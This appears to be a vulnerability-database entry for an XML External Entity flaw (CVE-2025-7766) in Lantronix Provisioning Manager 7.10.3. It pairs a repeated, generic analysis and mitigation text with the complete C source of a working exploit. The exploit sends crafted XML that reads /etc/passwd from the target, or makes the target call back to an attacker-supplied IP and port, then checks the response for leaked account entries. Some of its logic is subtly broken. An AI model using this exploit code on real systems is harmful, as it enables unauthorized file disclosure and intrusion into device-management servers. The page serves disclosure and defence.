Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
AI Analysis
Technical Summary
The Lantronix Provisioning Manager version 7.10.3 is vulnerable to an XML External Entity (XXE) injection attack. XXE is a type of attack against an application that parses XML input, where an attacker can exploit vulnerable XML parsers by including external entity references within the XML data. This allows the attacker to read arbitrary files from the server, perform server-side request forgery (SSRF), or cause denial of service by exhausting system resources. In this specific case, the vulnerability exists in the XML processing component of Lantronix Provisioning Manager 7.10.3, a device management and provisioning software used to configure and manage networked devices. The presence of exploit code written in C indicates that a proof-of-concept or functional exploit is available, which could be used by attackers to automate exploitation. Since no patch links are provided, it suggests that either a patch is not yet publicly available or not disclosed in the source. The vulnerability does not require authentication or user interaction, making it easier for remote attackers to exploit if the service is exposed. The medium severity rating aligns with typical XXE impacts, which can range from information disclosure to denial of service depending on the context and configuration of the vulnerable system.
Potential Impact
For European organizations using Lantronix Provisioning Manager 7.10.3, this vulnerability could lead to unauthorized disclosure of sensitive configuration files or credentials stored on the provisioning server, potentially compromising the integrity and confidentiality of managed devices. Attackers could leverage the XXE flaw to perform reconnaissance, pivot within the network, or disrupt device provisioning processes, impacting operational availability. Given that provisioning managers often have elevated privileges and access to critical network infrastructure devices, exploitation could have cascading effects on network security and device management. The impact is particularly significant for sectors with stringent regulatory requirements such as finance, healthcare, and critical infrastructure, where data confidentiality and system availability are paramount.
Mitigation Recommendations
Organizations should immediately assess exposure of Lantronix Provisioning Manager 7.10.3 instances to untrusted networks and restrict access to trusted administrators only. Network segmentation and firewall rules should be applied to limit inbound XML processing requests to trusted sources. If possible, disable XML external entity processing in the application configuration or underlying XML parser to prevent XXE exploitation. Monitoring and logging XML parsing errors or unusual requests can help detect exploitation attempts. Since no official patch is referenced, organizations should engage with Lantronix support for updates or workarounds. As a temporary measure, consider deploying web application firewalls (WAFs) with rules to detect and block XXE payloads. Regularly audit and review device provisioning workflows to ensure no sensitive data is unnecessarily exposed.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: /* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #include<unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define FULL_URL 3000 #define SIZE_PAYLOAD 4000 const char *yourIp = NULL; const char *url = NULL ; int yourPort = 0; int selecetCookie = 0; int verbose = 0; int loop = 0; int selectPayload = 0; const char *yourPayload = NULL; char full[FULL_URL]; int requestPayload = 0; const char *cookies = NULL; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void xmlPost(const char *fullUrl, const char *yourIp, int yourPort) { char payload[SIZE_PAYLOAD]; struct Mem response = { NULL, 0 }; if (selectPayload) { int s = snprintf(payload,sizeof(payload),yourPayload); if (s < 0 || s >= sizeof(payload)) { printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n"); exitSyscall(); } } if (requestPayload) { printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n"); printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n"); const char *payloadR = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort); if (r < 0 || r >= sizeof(payload)) { printf("\e[1;31m[-] Error building payloadR\n"); exitSyscall(); } } else { printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n"); const char *autoPayload = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; snprintf(payload, sizeof(payload), autoPayload); } CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("\e[1;35m==========================================\e[0m\n"); printf("[+] Cleaning Response...\n"); printf("[+] Response Buffer : %s\n", response.buffer); printf("[+] Response Len : %zu\n", response.len); printf("\e[1;35m==========================================\e[0m\n"); } CURLcode res; if (curl) { curl_easy_setopt(curl, CURLOPT_URL, fullUrl); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(payload)); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Referer: http://example.com"); headers =curl_slist_append(headers, "Content-Type: application/xml"); double totalTime; res = curl_easy_perform(curl); if (res == CURLE_OK) { curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime); printf("\e[1;32m[+] Delayed response : %f\n", totalTime ); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Full URl : %s\e[0m\n", full); if (verbose) { printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n"); printf("[+] Post data : %s\n", payload); printf("\e[1;35m-----------------------------------------------------------------\e[0m\n"); } long httpCode= 0 ; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n"); printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort); printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); const char *keywords[] = { "root:x:0:0", ":/bin/bash", ":/home/", "daemon:x:", "nobody:x:", ":x:1000:", "/usr/sbin/nologin", "sys:x:", "bin:x:", "mail:x:" }; printf("\e[1;34m[+] Check keyword On Response...\e[0m\n"); int numberKeyword = sizeof(keywords) / sizeof(keywords[0]); int found = 0; for (int f = 0; f < numberKeyword; f++) { if (strstr(response.buffer,keywords[f]) != NULL) { printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]); found = 1; } else { found = 0; } } if (found) { printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n"); } else { printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n"); } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } curl_slist_free_all(headers); curl_easy_cleanup(curl); } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } curl_slist_free_all(headers); curl_easy_cleanup(curl); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖\n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▙▌▙▌\n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (full url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_STRING('i', "ip", &yourIp, "Enter Your IP (Send Requst, Localhost ip...)"), OPT_INTEGER('p', "port", &yourPort, "Enter Number Port (Http Request,Check Vuln...)"), OPT_INTEGER('l', "loop", &loop, "Number of times you send requests"), OPT_STRING('b', "payload", &yourPayload, "Enter Your Payload"), OPT_BOOLEAN('r', "request", &requestPayload, "Payload Send Request in Your Server "), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url || !yourIp || yourPort == 0) { printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://ip:port/path -i IP -p PORT\e[0m\n"); printf("\e[1;31m[-] Exit syscall...\e[0m\n"); exitSyscall(); } strncpy(full, url, FULL_URL - 1); full[FULL_URL - 1] = '\0'; in_addr_t value = inet_addr(yourIp); if (value == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); exitSyscall(); } if (yourPort < 1 || yourPort > 65535) { printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n"); exitSyscall(); } if (strncmp(full, "http://", 7) != 0 && strncmp(full, "https://", 8) != 0) { printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n"); exitSyscall(); } if (verbose) { verbose = 1; } if (cookies) { selecetCookie = 1; } if (requestPayload) { requestPayload = 1; } if (loop) { printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n"); printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop); printf("------------------------------------------------------\n"); for (int o = 0; o < loop ; o++) { printf("[%d]: \n", o); xmlPost(full, yourIp,yourPort); printf("------------------------------------------------------\n"); } } if (yourPayload) { selectPayload = 1; } else { xmlPost(full, yourIp,yourPort); } return 0; }
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Description
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
AI-Powered Analysis
Technical Analysis
The Lantronix Provisioning Manager version 7.10.3 is vulnerable to an XML External Entity (XXE) injection attack. XXE is a type of attack against an application that parses XML input, where an attacker can exploit vulnerable XML parsers by including external entity references within the XML data. This allows the attacker to read arbitrary files from the server, perform server-side request forgery (SSRF), or cause denial of service by exhausting system resources. In this specific case, the vulnerability exists in the XML processing component of Lantronix Provisioning Manager 7.10.3, a device management and provisioning software used to configure and manage networked devices. The presence of exploit code written in C indicates that a proof-of-concept or functional exploit is available, which could be used by attackers to automate exploitation. Since no patch links are provided, it suggests that either a patch is not yet publicly available or not disclosed in the source. The vulnerability does not require authentication or user interaction, making it easier for remote attackers to exploit if the service is exposed. The medium severity rating aligns with typical XXE impacts, which can range from information disclosure to denial of service depending on the context and configuration of the vulnerable system.
Potential Impact
For European organizations using Lantronix Provisioning Manager 7.10.3, this vulnerability could lead to unauthorized disclosure of sensitive configuration files or credentials stored on the provisioning server, potentially compromising the integrity and confidentiality of managed devices. Attackers could leverage the XXE flaw to perform reconnaissance, pivot within the network, or disrupt device provisioning processes, impacting operational availability. Given that provisioning managers often have elevated privileges and access to critical network infrastructure devices, exploitation could have cascading effects on network security and device management. The impact is particularly significant for sectors with stringent regulatory requirements such as finance, healthcare, and critical infrastructure, where data confidentiality and system availability are paramount.
Mitigation Recommendations
Organizations should immediately assess exposure of Lantronix Provisioning Manager 7.10.3 instances to untrusted networks and restrict access to trusted administrators only. Network segmentation and firewall rules should be applied to limit inbound XML processing requests to trusted sources. If possible, disable XML external entity processing in the application configuration or underlying XML parser to prevent XXE exploitation. Monitoring and logging XML parsing errors or unusual requests can help detect exploitation attempts. Since no official patch is referenced, organizations should engage with Lantronix support for updates or workarounds. As a temporary measure, consider deploying web application firewalls (WAFs) with rules to detect and block XXE payloads. Regularly audit and review device provisioning workflows to ensure no sensitive data is unnecessarily exposed.
Affected Countries
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Technical Details
- Edb Id
- 52417
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
/* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #inclu... (13217 more characters)
Threat ID: 68a3d92dad5a09ad00eed701
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 10/3/2025, 1:16:16 AM
Last updated: 10/6/2025, 10:47:36 PM
Views: 36
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